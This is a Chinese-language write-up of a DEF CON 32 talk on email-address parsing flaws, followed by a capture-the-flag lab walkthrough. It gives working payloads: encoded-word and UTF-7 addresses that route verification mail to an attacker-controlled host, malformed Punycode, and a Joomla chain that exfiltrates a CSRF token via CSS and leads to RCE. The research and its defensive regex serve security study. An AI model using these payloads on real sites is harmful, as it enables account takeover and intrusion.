介绍
有些规定电子邮件地址格式的 RFC 标准已存在超过 50 年,随着多年的演变,这些标准实际非常宽松,电子邮件地址中可以包含引号、注释、转义字符和各种编码,如果需要在项目中解析电子邮箱的话,从技术上来说你应当遵循这些规范,但由于其极其冗杂,现在的 Web 开发者邮件都使用现成的解析库进行处理,但实际上它们并不清楚电子邮件是如何被解析的
通过查看 RFC2822 的 3.2.5 和 3.2.2 部分,我们可以发现电子邮箱是支持带引号的值和转义符的,通过这两种写法,我们可以实现在电子邮箱地址的用户名部分使用不允许使用的字符,比如以下两个例子:
"@"@example.com
"""@example.com
在第一个例子中,用户名部分是"@"
,但是双引号并不会实际传入后端,实际传入后端的用户名是@@example.com
,也就是用户名为@
,第二个例子中,用户名部分是"""
,双引号同样不解析,并且会对"
字符进行转义,最终传入后端的用户名是"@example.com
再仔细查看 RFC2822 的 3.2.3 部分,我们可以发现电子邮箱地址是支持注释的,用括号()
即可实现,并且其中可以包含空格或者嵌套,以下这个例子中(foo)
和(bar)
分别是注释,[email protected]
是实际的电子邮件地址
(foo)user@(bar)example.com
造成电子邮件域名混乱
最开始原作者以下 Payload 进行测试时发现系统日志中出现了带有无效主机的 DSN(传送状态通知),之后通过排查发现是感叹号导致了这条 DSN
!#$%&'*+/=?^_`{|}[email protected]
其具体原理与 UUCP(Unix To Unix Copy)协议有关,UUCP 是一种古老的协议,早在互联网和电子邮件出现之前就已存在,当没有互联网时,大家都使用 UUCP 交换信息,现代电子邮件在到达目的地之前通常会经过多个中间主机,但当时没有域名系统,也没有中央控制,没有人拥有网络上所有计算机的列表
如果想向某人发送邮件,必须要知道自己和收信人之间的所有主机,并且从左到右使用!
进行分隔,这样字符串被叫做 “bang path”,它从左到右给出电子邮件应经过的主机的名称,只有最后一个(最右边)元素不是主机名,是收件人的帐户名
rusx!umoskva!kgbvax!dimitri
回看刚才的 Payload,@
被转义后,整个字符串就不再是电子邮件了,而是 “bang path”(UUCP 风格的地址),之后使用 OOB(Out-of-Band)工具进行外带数据测试,看会不会和外部服务器产生数据交互,这里collab
是指子域名,测试 Sendmail 8.15.2 时,前面的示例将转到 “oastify.com” 而不是“example.com”,这代表程序将这段字符串看作是 “bang path”,而不是电子邮箱地址
[email protected]
同时,在 Postfix 中找到了原理类似的变体,其使用的是另一个叫做 “explicit source route” 的古老协议,源路由(explicit source route)允许使用服务器链来发送邮件,用逗号分隔每个主机,然后在末尾包含最终目的地
collab%psres.net(@example.com
还有所谓的 “percent hack”,邮件程序会将 % 或不同的选定字符转换为@
符号,然后将电子邮件转发到服务器,在这个过程中,电子邮件最开始发送到 example.com,之后将百分号转换为@
符号,并将电子邮件发送到[email protected]
foo%[email protected]
[email protected]
解析器差异
Unicode 溢出
研究 Unicode 溢出的主要意义是绕过被过滤的字符,因为 Web 程序会屏蔽多个@
符号,当使用 Unicode 编码范围内较高代码点的字符时,会发生 “溢出” 的现象,意味着这些字符可能会被错误的解密或者转换,从而被映射到 ASCII 范围内的字符,从而绕过限制
这里以 PHP 的chr()
函数作为实例,PHP 循环遍历字节$bytevalue
并检查它是否小于零,如果是,则添加 256 直到为正数,然后它执行模运算(取余数)以适应 0-255 之间的值,这么做的意义是如果传入一个大于 255 的字节值,它将溢出并由于模数运算而强制进入 0-255 范围,这也就是 Unicode 溢出的原理
while($bytevalue < 0){
$bytevalue += 256;
}
$bytevalue %= 256;
现在我们的目的就是利用 Unicode 溢出来构造出@
符号,从而绕过检测,这里使用 JS 的fromCodePoint
函数生成字符,传递十六进制值 0x100,该值转换为十进制 256,然后添加 0x40,这是@
符号的十六进制数,当系统执行像 PHP 中的chr()
函数这样的操作时,Unicode 代码点将溢出并适合在 0-255 范围内,然后生成@
符号
String.fromCodePoint(0x100 + 0x40)
发现这一点后,通过 Fuzz 可以发现其他字符也可以实现这种操作,0x100 只是可用于执行溢出的数字之一,其他更高的数值也可以用来触发类似的溢出效果,从而生成许多可能的字符
String.fromCodePoint(0x100 + 0x40) // ŀ → @
String.fromCodePoint(0x1000 + 0x40) // ၀ → @
String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @
...
0x10ffff
上面的每个十六进制值都会产生溢出,因为取模运算会导致结果为零,这种情况可以一直持续到当前的最大 Unicode 代码点 0x10ffff
'✨' === '('
'✩' === ')'
'✻' === ';'
'✼' === '<'
'✽' === '='
'✾' === '>'
'❀' === '@'
如果对每个字符执行 256 模运算,将生成生成的字符,当前实现了伪造了各种字符,但是暂时无法使用这种技术拆分电子邮件
let codePoint = '❀'.codePointAt(0); // 获取字符❀的Unicode代码点并进行取模运算
let result = codePoint % 256 === 0x40; // 检查取模是否等于0x40
console.log(result); // 输出:true,表示取模结果是0x40
console.log(String.fromCodePoint(0x40)); //输出:@
编码字
深入研究后,越发发现电子邮件的 RFC 标准提供了更多的可用信息,通过研究可以发现,电子邮件实际上包含一个复杂的编码系统,允许进行多层编码,在仔细研究 RFC 时,我注意到了 RFC 2047 和编码词(Encoded-word),这种编码系统允许使用十六进制和 Base64 表示字符
=?
表示编码的开始,接下来指定字符集,我这里使用的是 UTF-8,然后问号包裹下一个命令,即q
,表示使用的是 “Q-Encoding”(带有等号前缀的十六进制编码),在这个例子中,编码的字符串是=41=42=43
,对应的是大写字母 “ABC”,最后,?=
表示编码的结束
掌握了这些信息后,我开始寻找真正解析使用这种编码的电子邮件的系统,对与大多数网站,都可以使用以下两个 Payload 进行测试,这两个 Payload 适配大量站点允许的字符集,使用 Collaborator(BurpSuite 的 OOB 工具)生成 Payload 并将上面的 “collab” 替换为生成的 Payload
[email protected]
[email protected]
如果在 SMTP 会话的RCPT TO
命令中发现与电子邮件进行 SMTP 交互,则证明电子邮件解析器正在使用 “编码字” 对电子邮件进行解码
[email protected]
我发现了很多有这种行为的网站,它们都有一个共同点,就是都使用 Ruby 语言编写,具体来说,是他们都使用了一个叫 “Mail” 的 Ruby 库(Ruby Gem),查看源代码后发现这个库处理的是UTF-7
编码
并且 UTF-7 与 Q-Encoding 是可以混合使用的,下面这个例子就是先对=41
进行 Q-Encoding 之后变为 A,与后面的字符形成完整的字符串,最终结果是一个UTF-7编码的字符串foobar
同时,电子邮件也是支持 Base64 编码的,使用b
替换q
即可
同样的,也可以将 Base64 编码和 UTF-7 编码一起使用,解析器首先解码 Base64,之后再解码 UTF-7,并且这里不光可以编码字母数字字符,也可以编码任何特殊字符
编码字案例
Github:绕过 Cloudflare 零信任控制
我特别关注了 Github,因为我知道它是用 Ruby 编写的,我使用了之前提到的两个探针来确认 Github 支持编码字,在 Collaborator 的 SMTP 对话中,电子邮件被解码了,于是我进行进一步测试,我尝试在电子邮件的用户名部分添加@
符号,发现可以成功
接着使用在用户名部分的引号中使用编码字来跳出当前的引号结构,这样可能会形成两个不同的地址,尝试了=22
(双引号)和=40
(@符号),但没有取得任何成果,这里的难点在于,有时候你不会得到任何反馈,因为它通过了电子邮件验证,但在到达邮件服务器之前就失败了,你可以利用 DNS 交互作为线索,但通常它们几乎没什么用,因为你无法确定导致邮件未能到达邮件服务器的具体原因
经过多次尝试后,我开始考虑 SMTP 对话,并尝试加入大于号字符,我的想法是,利用它来结束SMTP对话中的RCPT TO
命令
RCPT TO:<"[email protected]>collab"@psres.net>
现在,我们可以开始看到攻击的雏形:有两个地址,并且使用大于号可以在 SMTP 对话中忽略第二个地址,确定了这个思路后,我开始使用编码绕过来构建攻击
我很快发现双引号对 Github 没什么用,原因是它总会留下一个未闭合的双引号,从而导致验证失败,当然,我也尝试了对双引号进行编码和转义,但都没有成功,于是我去掉了双引号,直接用编码字生成@
符号和大于号,这次通过了验证,但我并没有收到邮件(没有产生 SMTP 对话)
仔细思考后,我猜测可能是邮件末尾的多余内容导致了邮件服务器出错,可能是触发了异常或验证失败,如果我能引入一些字符来避免异常或验证失败会怎样呢?我试了编码的空白字符(可见是空白的字符),但失败了。接着我尝试编码空字符(Null),结果成功了,成功通过其他邮箱接受到了邮件
对于Github来说,字符集并不重要,所以我用了一个 “x” 作为占位符。编码后的@
符号(=40)会被转换成一个@
符号,而大于号(=3e)则用来结束RCPT TO
命令,最后的空字符(=00)使邮件服务器忽略其后的所有内容,最后只需要添加foo
作为占位符即可,然后就可以认证任意的邮箱域了
通过这个方法,我可以验证任意邮件域名,我在我的测试账户上成功验证了使用 microsoft.com、 mozilla.com 和 github.com 作为域名的地址至此已经发现一个漏洞了,因为我不应该能够验证不属于我的地址,之后我又去研究 Cloudflare 的 “Zero Trust” 功能,并研究是否可以配置它来信任某些电子邮件域名
我创建了一个测试账户,深入配置后发现,可以将 Github 作为身份提供方(IdP),并通过电子邮件域名来决定是否有权访问某个站点,这可以是一个内部网络,或是其他任何使用 Zero Trust(零信任)保护的域名,只要它们把 Github 作为 IdP,相当于可以直接使用 SSO 登录一个以 Github 域作为信任组的网络
Zendesk:访问电子邮件域保护的支持中心
在 Github 取得成功后,我开始寻找使用 Ruby 并具有的电子邮件域验证的应用程序,对我来说最熟悉的是 Zendesk,因为也许我可以获得受域验证保护的控制台,直接套用在 Github 使用的方法并不奏效
这里我重复使用两个 Collaborator 域,这样我总是能够收到交互反馈,通过检查 SMTP 对话,可以看到哪些内容被转换,Payload 如下
[email protected]
并得到以下回显,这次交互我们可以发现很多细节
-
允许大写 -
允许转换空格 -
似乎会对解码后的用户名部分中的不合法的值加上引号(可能是为了兼容 RFC2822)
RCPT TO:<"[email protected]> "@psres.net>
经过尝试,我终于构造出了一个可用的 Payload,我成功绕过了支持中心的限制,此次攻击的关键在于嵌入的编码引号,这些引号被解析器解码,之后=3c22
生成一个小于号字符,之后这个字符被移除,从而完成了引号闭合,使其通过了验证和异常处理。你会注意到=3e=00
是我在 Github 上使用的相同序列,所以它们显然共享了一些相同的代码,但两者响应方式却非常不同,因此这个攻击更为完整和复杂
Gitlab:未经授权访问 Gitlab Enterprise 服务器
为了寻找更多的新目标,我转向了 Gitlab,它们也是一个身份提供方(IdP),并提供企业产品,因此看起来是一个很好的测试对象,我们可以配置它来允许使用特定域名进行注册,这个功能立即引起了我的注意,我尝试了在 Github 和 Zendesk 上使用的 Payload,但是并没有成功,然后我想起编码字允许使用下划线作为空格(这里用=20
代替空格也可以)
这意味着我可以访问那些使用基于域名注册限制的 Gitlab Enterprise 服务器,正如我提到的,Gitlab 也是一个身份提供方(IdP),所以我开始测试其 Web 页面,不过,这一方法在 Web 程序上并不奏效——我认为这是因为它们使用了不同的邮件服务
然而,我发现了另一个攻击向量,此时我已经收集了许多不同的攻击向量,因此编写了一个 Turbo Intruder 脚本,用来遍历所有已知向量并尝试其他方法,最终脚本找到了一种新的攻击方式,利用了编码后的空格字符,它与 Github 漏洞非常相似,但它需要有效的字符集,并且字符集处不能为空,在下图中我使用了 “x”,但在真正的攻击中你会使用 “iso-8859-1”
PHPMailer:非 Ruby 系统也存在编码字风险
这个案例有意思的地方在于其不是存在于 Ruby 系统上的,说明在其他系统中也有编码字可以利用的漏洞,我在 PHPMailer 上进行了黑盒和白盒的测试,发现它不会解析电子邮件地址中的编码字(域部分和用户名部分都不解析),然而,在电子邮件地址之外的名称部分,它确实会解析并解码编码字
=?utf8?q?=61=62=63?=<[email protected]>
分析代码后发现,尖括号是必需的,像 Wordpress 这样的应用中,尖括号通常会导致验证失败,我尝试在不同应用的名称参数中嵌入 Payload,但未能利用这个特定的库,但是通过利用编码字有可能存在 XSS
Punycode
我们已经探讨了如何操控电子邮件解析来绕过访问控制,但如果电子邮件地址能够被武器化,从而获取远程代码执行(RCE)权限会怎样呢?在本节中,我们将介绍 Punycode 攻击以及我如何利用它在 Joomla 上进行攻击
什么是 Punycode
Punycode 是一种在当前 DNS 系统中表示 Unicode 字符的方法。Punycode 以 xn--
开头,后面接连字符和字母数字字符。非 ASCII 字符会通过一种特殊算法编码,来表示这些字符。该算法将 Unicode 字符序列转换为仅使用 ASCII 字符的表示形式
一般来说,输入中不形成 Unicode 字符的 ASCII 字符会原样添加到输出中。例如,域名 münchen.com 会使用以下 Punycode 进行编码
xn--mnchen-3ya.com
Punycode 的工作原理本身使得测试变得困难,因为更改一个字符会影响整个输出和字符位置,这是由于算法的运作方式所致,我们的目标是生成恶意字符,使得在解码编码值时能够出现这些字符,而实现这一点是一个很大的挑战。在以下示例中,你可以看到当一个字节被修改时,Unicode 字符的位置会发生变化
[email protected] → foo@ümnchen.com
[email protected] → foo@münchen.com
[email protected] → foo@mnüchen.com
[email protected] → foo@mncühen.com
格式错误的 Punycode
在阅读完相关内容后,我点击了一个在线 Punycode 转换器的链接,该转换器使用了 IDN PHP 库,于是我开始尝试各种 Punycode 地址,我发现如果在开头使用两个零,就可以生成意想不到的字符
Input:
psres.net.com.xn--0049.com.psres.net
Output:
psres.net.com.,.com.psres.net
输入包含 Punycode "xn--0049",由于库的缺陷,它被解码为逗号,通过这种方式,我能生成更多字符
Input:
[email protected]
Output:
foo@@.example.com
有多种方法可以生成相同的字符,我也考虑过利用电子邮件分割攻击,但最终发现,Punycode 地址在邮件发送时不会被解码,因为它会被视为无效地址,更具体的说,它在显示邮件时才被解码,于是我思考是否可以通过这种方式创建一个 XSS
这正是模糊测试工具派上用场的地方,我编写了一个工具,立刻就产生了一些有趣的结果
x@xn--42 → x@,
x@xn--024 → x@@
x@xn--694 → x@;
x@xn--svg/-9x6 → x@<svg/
x@xn--svg/-f18 → x@<svg/
x@xn--svg/-fq1 → x@<svg/
此时我开始寻找一些使用 IDN PHP 库的目标,搜索 Github 后找到了 Joomla,如果我能实现 XSS 的话,就可能达到 RCE,在分析源码时,我注意到他们会在 Punycode 解码前转义用户的电子邮件地址,这就意味着,如果我能生成一些格式错误的 Punycode,解码后能产生 HTML,就可能实现 XSS,但这并不简单
尝试利用 Joomla
我带着兴奋回到我的模糊测试工具,开始生成上百万种字符组合。我设法构造了部分 XSS 向量,但遇到了问题,我只能通过多个 Punycode 子域生成两个 ASCII 字符,这种限制源于 Punycode 算法、PHP 以及有缺陷的 PHP IDN 库的特殊机制,正如你在示例中所见,我非常接近成功,但这些问题让利用 Joomla 变得非常困难
xn--x-0314.xn--0026.xn--0193.xn--0218 → <x.. .=
xn--x-0314.xn--0026.xn--0193.xn--54_52932 → <x.. .='
最终,我的结论是 XSS 不可行,因为虽然我能够生成单引号 HTML 属性,但它需要下划线字符,但是Joomla 不允许在电子邮件地址的域部分中使用下划线
利用Joomla实现RCE
故事就到此结束了吗?还没有。我思考了一阵,发现如果只使用一个 Punycode 子域,就可以生成任意的起始标签,经过大量测试后,我最终得出结论,唯一可利用的要素是一个起始的 <style>
标签
剩下的 Joomla HTML 代码会添加一个空格和闭合尖括号,电子邮件在用户列表页面上被输出,这意味着它是持久的,并且甚至不需要激活的帐户,你只需注册一个用户,它就会是持久的样式注入,但是我们如何将恶意 CSS 放进去呢?我需要一个可以放置 CSS 而不被阻止的地方,用户的名称字段是一个不错的选择,可以使用@import
来导入恶意样式
当前遇到的问题是,在样式注入之后出现的所有 HTML 代码都会被当作 CSS 处理,为了解决这个问题,你只需要让 CSS 解析器认为这些都是无效的 CSS 选择器,这意味着只需使用{}
符号,因此,如果在名字字段的开头放置 {}
,就可以在之后导入样式,具体攻击步骤如下
注意,第一个账户名包含字母 “a”,第二个账户名包含字母 “x”,这是为了确保样式注入首先发生,第二个账户可以使用 @import
,花括号的意义是将导入前的所有 HTML 代码当作无效的 CSS 选择器,由于使用了内联样式,Chrome 严格的 CSS MIME 类型检查在这里也不会生效
我们现在要做的是通过 CSS 的方法将 CSRF 令牌偷偷传出来,幸运的是,很多文章已经详细介绍了这种方法,最有效的做法是利用导入链技术,并借助 d0nut 和 Pepe Vila 开发的相关工具,我决定基于我之前对 CSS 盲外泄的研究,定制自己的工具,使其能够专门提取 Joomla 的令牌,稍后我会在文章中提供 GitHub 仓库的定制代码
我的 CSS 外泄工具开始运行后,我注册了两个账户,并用超级管理员账户访问了用户页面,果然,工具成功捕获到了管理员的 CSRF 令牌,接下来,我就可以利用这个令牌,对管理员发起 CSRF 攻击,我的工具还能自动生成 CSRF 攻击代码,最后这个攻击会修改管理员的模板,从而实现 RCE
视频可见地址:漏洞演示
视频中,浅色的是管理员浏览器,在左侧;深色的是攻击者浏览器,在右侧。攻击者注册了两个账户,第一个用于从一个格式错误的 Punycode 地址注入样式标签,第二个用于注入 CSS 外泄样式表,随后,管理员访问后台和用户列表页面,恶意 CSS 立即加载,并在几秒内成功外泄令牌
一旦外泄成功,攻击者就收到了管理员的 CSRF 令牌通知,随后立即与管理员发起即时消息对话。管理员点击了攻击者发来的链接,结果触发了 CSRF 攻击,后台模板被编辑,注入了调用系统命令的 PHP 代码来执行 cat /etc/passwd
方法 / 工具
在这次研究中,我总结出一套实用的测试方法:探测、观察、编码、利用。首先,使用文中提到的探测手段,并在类似 Collaborator 的工具中观察结果,重复这个过程,直到获取攻击所需的字符,完成后再实施攻击。这个方法同样适用于编码词攻击和 Punycode 攻击
首先要探测“编码词”,查看解码后的电子邮件以确认该功能是否受支持,接着对各种字符进行编码,观察它们的解码结果,最后利用这些字符发起攻击
使用 Hackvertor 标签生成电子邮件拆分攻击
为了帮助发现电子邮件拆分攻击,我创建了一些 Hackvertor(Burp Suite 扩展)标签,你只需将标签放置在希望发生 Unicode 溢出的位置,然后将要转换的字符放在标签内
<@_unicode_overflow(0x100,'...')>@</@_unicode_overflow>
<@_unicode_overflow_variations(0xfff,'...')>@</@_unicode_overflow_variations>
foo<@_encoded_word_encode('...')>@<@/_encoded_word_encode>example.com
<@_encoded_word_decode('...')>=41=42=43<@/_encoded_word_decode> <@_email_utf7('...')><@/_email_utf7> <@_email_utf7_decode('...')><@/_email_utf7_decode> <@_encode_word_meta('iso-8859-1','...')><@/_encode_word_meta>
第一个标签用于创建单个 Unicode 溢出,使用参数 0x100(十进制为 256)来实现溢出,第二个标签将参数设置为最大 Unicode 码点,尽可能生成更多溢出到标签内指定字符的字符,第三个标签可以进行编码词转换,示例中我对 @ 符号进行了编码,第四个标签则用于解码编码词序列,此外还有其他标签可以帮助创建和解码 UTF-7 电子邮件及编码词的元字符
要使用这些标签,你需要在 Hackvertor 菜单中启用 “Allow code execution tags” 选项,然后点击同一菜单中的 “View Tag Store”,接下来你可以通过点击标签名称并使用安装按钮来安装这两个标签
使用 Turbo Intruder 自动利用编码字
当我发现最初的几个漏洞时,自动化工具对寻找其他漏洞非常有帮助,Turbo Intruder(Burp Suite 扩展)经常能有效地自动化这个过程,我编写了一个 Turbo Intruder 脚本,用于帮助攻击邮件发送程序,这个脚本在你确认服务器支持编码词,但不知道邮件发送程序是否允许通过使用空字符或其他字符拆分电子邮件时使用
这个脚本使用了一系列已知的电子邮件拆分技术,这些技术是我在测试 GitHub、Zendesk、GitLab、Bugcrowd 等平台时发现的,你可以轻松自定义脚本,以执行本演示中提到的其他攻击
使用时,只需将 validServer
变量更改为你想要伪造的目标域名,然后,在请求中放置 %s
,以便在你希望添加电子邮件的位置,然后右键点击请求,选择发送到 Turbo Intruder,并使用修改后的脚本,接着运行攻击
如果攻击成功,你应该会在 Turbo Intruder 中收到 Collaborator 的交互反馈,这意味着该邮件域名是可以伪造的,如果遇到限速的应用,可以修改 REQUEST_SLEEP
变量,来绕过限速限制
对格式错误的 Punycode 进行 Fuzzing
我开发了一个 Punycode 模糊测试工具,旨在帮助发现格式错误的 Punycode,这个模糊测试工具的工作原理是,输入一个 Punycode 地址,然后用随机数字、字符或空格替换占位符,匹配和包含是用正则表达式来匹配模糊测试的输出,这个工具在找出可以生成的字符方面非常有效
补充材料
RFC 标准允许所谓的 SMTP 可选参数,其中一个参数 “ORCPT” 可以用来隐匿电子邮件地址的域名部分,并改变其目的地,由于许多应用程序通常接受带引号的本地部分,但对转义字符的处理不当,你可以利用这个特性来更改电子邮件的目的地
"foo\"@psres.net> ORCPT=test;admin"@example.com
这种技术适用于 Postfix,但也可能适用于其他邮件程序,并且我发现了一些在 Postfix 中奇怪的电子邮件解析行为,虽然我无法利用这些行为绕过访问控制,但它们依然很有趣,第一个例子使用 UUCP,并且不受引号的影响,依然可以发送
Input: "psres.net!collab"("@example.com
Results in email to: [email protected]
第二个使用源路由,即使用方括号语法
Input: collab%psres.net@[127.0.0.1]
Results in email to: [email protected]
防御
我建议您在使用电子邮件解析库时禁用 “编码字”,作为最后的手段,您可以通过使用以下正则表达式在电子邮件地址中查找 “encoded-word” 的开始和结束字符来防止它被使用:
=[?].+[?]=
您应该始终验证电子邮件地址,即使它来自 SSO 提供商(例如 Github),切勿使用电子邮件域作为唯一的授权方式,因为正如我们所见,它很容易被欺骗
CTF
进入靶场,直接测试注册处,注册发现只能注册@ginandjuice.shop
域的邮箱,用靶场提供的邮箱是无法直接注册的
这里用我们刚才学到的两个使用 “编码字” 的 Payload 进行漏洞探测,结果都显示 “Registration blocked for security reasons”,译为 “出于安全原因,注册被阻止”,这里应该是后端不支持这两种类型的编码
=?iso-8859-1?q?=61=62=63?=test@ginandjuice.shop
=?utf-8?q?=61=62=63?=test@ginandjuice.shop
之后再使用 UTF-7 的 Payload 进行测试,邮箱验证可以正常发出,说明既满足了@ginandjuice.shop
域的要求,又符合后端能接受的编码类型
=?utf-7?q?&AGEAYgBj-?=test@ginandjuice.shop
当前我们探测出了漏洞,接下来的目的是利用这个结构将验证邮件发送到我们可控的邮箱中去,可以构造以下 Payload,其中&AEA-
是 UTF-7 编码的@
,&ACA-
是 UTF-7 编码的空格,[YOUR-EXPLOIT-SERVER_ID]
是可控邮箱的域名部分
=?utf-7?q?attacker&AEA-[YOUR-EXPLOIT-SERVER_ID]&[email protected]
=?utf-7?q?attacker&AEA-exploit-0ac100d104bfc12686cd568401240000.exploit-server.net&[email protected]
提交注册后发现我们的可控邮箱收到了验证邮件,说明我们已经绕过了对@ginandjuice.shop
域的限制
之后点击注册连接完成注册,注册成功后,登录后可以看到 Admin panel,删除carlos
用户即可通关
参考资料
电子邮件解析
-
https://www.jochentopf.com/email/address.html -
https://nathandavison.com/blog/exploiting-email-address-parsing-with-aws-ses -
https://medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government-84b31517d144
CSS 渗透
-
https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf -
https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
Unicode
-
https://www.sonarsource.com/blog/10-unknown-security-pitfalls-for-python/#:~:text=8.%20Unicode%20Case%20Collision
本研究的所有材料均可在 Github 存储库中获取
原文始发于微信公众号(天禧信安):【DEFCON-32 议题解析&靶场通关】分割电子邮件之源:利用解析器绕过访问控制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论